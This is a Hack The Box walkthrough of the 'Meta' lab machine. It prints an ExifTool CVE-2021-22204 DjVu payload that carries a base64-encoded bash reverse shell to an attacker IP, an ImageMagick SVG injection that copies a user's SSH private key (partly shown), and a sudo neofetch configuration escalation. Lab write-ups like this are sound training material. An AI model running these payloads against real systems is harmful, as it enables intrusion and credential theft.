Home Hack The Box Writeup - Meta
Post
Cancel

Hack The Box Writeup - Meta

Enumeration

As always, we start by scanning the target machine’s open ports:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
rustscan --ulimit 5000  meta.htb -- sV -sC -oN nmap_scan

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 12:81:17:5a:5a:c9:c6:00:db:f0:ed:93:64:fd:1e:08 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCiNHVBq9XNN5eXFkQosElagVm6qkXg6Iryueb1zAywZIA4b0dX+5xR5FpAxvYPxmthXA0E7/wunblfjPekyeKg+lvb+rEiyUJH25W/In13zRfJ6Su/kgxw9whZ1YUlzFTWDjUjQBij7QSMktOcQLi7zgrkG3cxGcS39SrEM8tvxcuSzMwzhFqVKFP/AM0jAxJ5HQVrkXkpGR07rgLyd+cNQKOGnFpAukUJnjdfv9PsV+LQs9p+a0jID+5B9y5fP4w9PvYZUkRGHcKCefYk/2UUVn0HesLNNrfo6iUxu+eeM9EGUtqQZ8nXI54nHOvzbc4aFbxADCfew/UJzQT7rovB
|   256 b5:e5:59:53:00:18:96:a6:f8:42:d8:c7:fb:13:20:49 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEDINAHjreE4lgZywOGusB8uOKvVDmVkgznoDmUI7Rrnlmpy6DnOUhov0HfQVG6U6B4AxCGaGkKTbS0tFE8hYis=
|   256 05:e9:df:71:b5:9f:25:03:6b:d0:46:8d:05:45:44:20 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINdX83J9TLR63TPxQSvi3CuobX8uyKodvj26kl9jWUSq
80/tcp open  http    syn-ack Apache httpd
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache
|_http-title: Did not follow redirect to http://artcorp.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We get back the following result showing that two ports are open:

  • Port 22: OpenSSH 7.9p1
  • Port 80: Apache httpd… And we also get the information, that this website immeditately redirects us to http://artcorp.htb. So let’s directly add it to the /etc/hosts file.

Port 80 - Apache Server

After adding the hostname to our /etc/hosts file, we can now access the website:

The website itself does not provide any functionality, nor does the source code reveal any interesting information. Therefore, we initiate the next steps: directory and sub-domain discovery.

Directory Discovery

For the directory discovery, I usually use a tool called feroxbuster.

1
2
┌──(kali㉿kali)-[~/HTB/machines/meta]
└─$ feroxbuster -u http://artcorp.htb/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -x html

However, apparently there are no additional directories or files.

Sub-Domain Discovery

For the subdomain discovery, I use the tool wfuzz.

1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~/HTB/machines/meta]
└─$ wfuzz -Z -c -w /usr/share/wordlists/subdomains-5k.txt --hw 0 -H "Host: FUZZ.artcorp.htb" http://artcorp.htb

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                                                 
=====================================================================

000001492:   200        9 L      24 W       247 Ch      "dev01" 

There we go! A subdomain called dev01. Let’s add it to our /etc/hosts file and investigate it.

Subdomain “dev01”

Accessing the subdomain website reveals the following information:

Following the link to MetaView, we see the following upload form:

Hmmm … interesting. Let’s see what this does. I simply downloaded the first jpg file I could find on google and uploaded it via the form.

Apparently, the functionality of this “service” is to display meta information of the uploaded file. That’s probably why the name of the machine is “meta”. It also looks very similar to the output of exiftool

My first idea was to get RCE via including PHP code in the meta information of the uploaded image. Let’s see if this works.

Meta Data Inclusion

Using exiftool we can include additional meta-data to the image. Thus, I first wanted to test if the developers did not consider malicious meta-data (in form of PHP code). This can be done as following:

1
2
┌──(kali㉿kali)-[~/HTB/machines/meta]
└─$ exiftool -DocumentName='<?php echo "hello"; ?></h1>' image.jpg

However, when uploading the image, nothing happens. Looking at the source code, we immediately see why. Apparently, the developers were smart enough to validate the user-provided meta data and commented out my malicious meta data.

Hmmm…. I then wasted hours to find a way to bypass this until I was convinced that I cannot bypass it. But remember my first assumption? I said that this output looks super similar to the one of exiftool. Maybe the server-side code uses exiftool to output this information. Thus there could be an issue with the tool itself. Let’s do some research.

According to this article, exiftool is vulnerable to CVE-2021-22204, which can lead to RCE: “Improper neutralization of user data in the DjVu file format in ExifTool versions 7.44 and up allows arbitrary code execution when parsing the malicious image.”

Initial Foothold

“To trigger the vulnerable function, we need to create a valid DjVu file that contains an annotation chunk with the payload that will be executed by the eval function as Perl code. To create this valid DjVu file, we used the tool djvumake , from the djvulibre toolkit. A toolkit for DjVu file manipulation.We will also use the tool bzz to compress our payload, then it will not be easily visible in the DjVu file. (in case someone try to inspect it)” https://blog.convisoappsec.com/en/a-case-study-on-cve-2021-22204-exiftool-rce/

So, using the provided PoC of the article, we can try to exploit the server-side exiftool. First we have to create our payload:

1
2
3
┌──(kali㉿kali)-[~/HTB/machines/meta]
└─$ cat payload   
(metadata "\c${system('echo L3Vzci9iaW4vYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNy80NDQ0IDA+JjE= | base64 -d | bash')};")

The base64-string contains a bash-reverse shell which tries to establish a connection back to our attacker machine. Afterwards, we create the DjVu file and include it in the meta-data of our image:

1
vim payload && bzz payload payload.bzz && djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz && exiftool -config configfile '-HasselbladExif<=exploit.djvu' image.jpg

Finally, we start a nc listener and upload the image. And it works! We got a reverse shell as www-data.

Privilege Escalation - User Thomas

For privilege escalation, we follow the basic steps. Check for SUID binaries, check for capabilities, check for files in /var/www etc. The first two did not lead to anything, but there was an interesting directory located in /var/www/dev01.artcorp.htb called convert_images. As I could not figure out how this directory is used, I uploaded pspy64 and used it to obtain more information about the running processes:

Apparently the user with the id 1000 has a CRON job running which executes the script /usr/local/bin/convert_images.sh A quick lookup on the id reveals that this user is our target user thomas

1
2
www-data@meta:/tmp$ id 1000
uid=1000(thomas) gid=1000(thomas) groups=1000(thomas)

Perfect! So let’s take a look at this script.

1
2
www-data@meta:/tmp$ ls -la /usr/local/bin/convert_images.sh 
-rwxr-xr-x 1 root root 126 Jan  3 10:13 /usr/local/bin/convert_images.sh

Read and execute permissions. Great! So what does the script do?

1
2
3
#!/bin/bash
cd /var/www/dev01.artcorp.htb/convert_images/ && /usr/local/bin/mogrify -format png *.* 2>/dev/null
pkill mogrify

Interesting. It cd’s into the found convert_images directory and executes mogrify. Mogrify is a symlink to imagemagick. Let’s see if we can find some way to exploit this.

According to this article, the installed imagemagick version has a vulnerability which leads to RCE. Apparently, this specific version has a string escape vulnerablility which can be used to inject code.

The PoC shows, that we have to create a .svg as follows: The code that we want to execute is: we copy the ssh private key of thomas to /dev/shm/test

1
2
3
4
5
6
7
8
9
<image authenticate='ff" `echo $(cat ~/.ssh/id_rsa)> /dev/shm/test`;"'>
  <read filename="pdf:/etc/passwd"/>
  <get width="base-width" height="base-height" />
  <resize geometry="400x400" />
  <write filename="test.png" />
  <svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <image xlink:href="msl:poc.svg" height="100" width="100"/>
  </svg>
</image>

Afterwards, we copy the .svg file into the convert_images directory.

1
cp /tmp/test/poc.svg /var/www/dev01.artcorp.htb/convert_images/

And now we wait until the CRON job is run with our malicious file.

1
2
3
4
5
www-data@meta:/tmp/test$ ls -la /dev/shm/
total 8
drwxrwxrwt  2 root   root     80 Jan 24 15:32 .
drwxr-xr-x 16 root   root   3080 Jan 24 06:04 ..
-rw-r--r--  1 thomas thomas 2590 Jan 24 15:31 test

There we go! This test file should contain the ssh private key of thomas:

1
2
3
www-data@meta:/tmp/test$ cat /dev/shm/test

-----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn NhAAAAAwEAAQAAAYEAt9IoI5gHtz8omhsaZ9Gy+wXyNZPp5jJZvbOJ946OI4g2kRRDHDm5 x7up3z5s/H/yujgjgroOOHh9zBBuiZ1Jn1jlveRM7H1VLbtY8k/rN9PFe/MkRsYdH45IvV ....

Perfect! Now just copy-paste it to our attacker machine, adjust the format and use it to log in as thomas.

1
ssh -i thomas_ssh thomas@meta.htb

Privilege Escalation - User Root

Following the typical steps for priv escalation on linux, we get the following information:

1
2
3
4
5
6
thomas@meta:~$ sudo -l
Matching Defaults entries for thomas on meta:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+=XDG_CONFIG_HOME

User thomas may run the following commands on meta:
    (root) NOPASSWD: /usr/bin/neofetch \"\"

We are able to run /usr/bin/neofetch \"\" as root and without any password! Great!

However, after experimenting for some time, I was pretty stuck here. Then I realized I overlooked something very important here…. The sudoers output clearly says env_keep+=XDG_CONFIG_HOME. This means that the XDG_CONFIG_HOME env variable will be kept when we execute something as sudo. Great. But what does that mean? Well, the XDG_CONFIG_HOME is where user-specific configurations should be written to. This usually defaults to $HOME/.config. If we look into $HOME/.config, we can see a neofetch configuration.

1
2
3
4
5
thomas@meta:~/.config$ ls -la
total 12
drwxr-xr-x 3 thomas thomas 4096 Aug 30 13:01 .
drwxr-xr-x 5 thomas thomas 4096 Jan 25 10:07 ..
drwxr-xr-x 2 thomas thomas 4096 Dec 20 08:33 neofetch

So when we set the XDG_CONFIG_HOME to this directory, we can control the configs of the neofetch command which will then be executed as root.

Therefore, we first add a bash or reverse shell call to the config.

Afterwards, we manually define the XDG_CONFIG_HOME, as env tells us that it’s currently not set.

1
thomas@meta:~/.config$ export XDG_CONFIG_HOME="$HOME/.config"

Finally, we execute the neofetch script with sudo:

Done! We are root.

This post is licensed under CC BY 4.0 by the author.